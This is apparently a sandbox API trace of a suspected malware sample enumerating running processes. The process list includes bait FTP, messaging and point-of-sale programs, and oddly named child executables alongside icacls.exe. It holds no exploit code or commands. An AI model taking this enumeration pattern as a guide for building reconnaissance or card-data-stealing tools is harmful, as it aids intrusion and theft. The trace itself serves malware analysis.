	[0240.152] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0240.154] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0240.156] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0240.158] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0240.160] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0240.162] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0240.165] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0240.224] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0240.226] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0240.228] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0240.231] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0240.233] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0240.235] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0240.237] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0240.239] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0240.241] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0240.244] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0240.246] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0240.248] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0240.250] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0240.253] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0240.255] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0240.257] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0240.259] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0240.262] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0240.317] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0240.319] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0240.322] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0240.324] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0240.326] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0240.328] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0240.330] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0240.332] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0240.335] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0240.337] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0240.339] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0240.341] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0240.344] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0240.345] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0240.348] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0240.350] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0240.352] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0240.354] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0240.384] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0240.386] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0240.388] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0240.390] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0240.392] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0240.395] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0240.397] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0240.399] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0240.401] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0240.404] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0240.407] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0240.409] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0240.411] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0240.414] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0240.416] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0240.418] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0240.420] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0240.479] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0240.481] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0240.483] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0240.486] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0240.488] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0240.490] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0240.492] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0240.494] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0240.496] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0240.499] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0240.502] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0240.504] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0240.506] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0240.508] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0240.510] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc2, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0240.512] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0240.514] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0240.525] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0240.527] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0240.529] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0240.532] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0240.534] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0
	[0240.535] CloseHandle (hObject=0x1b60) returned 1
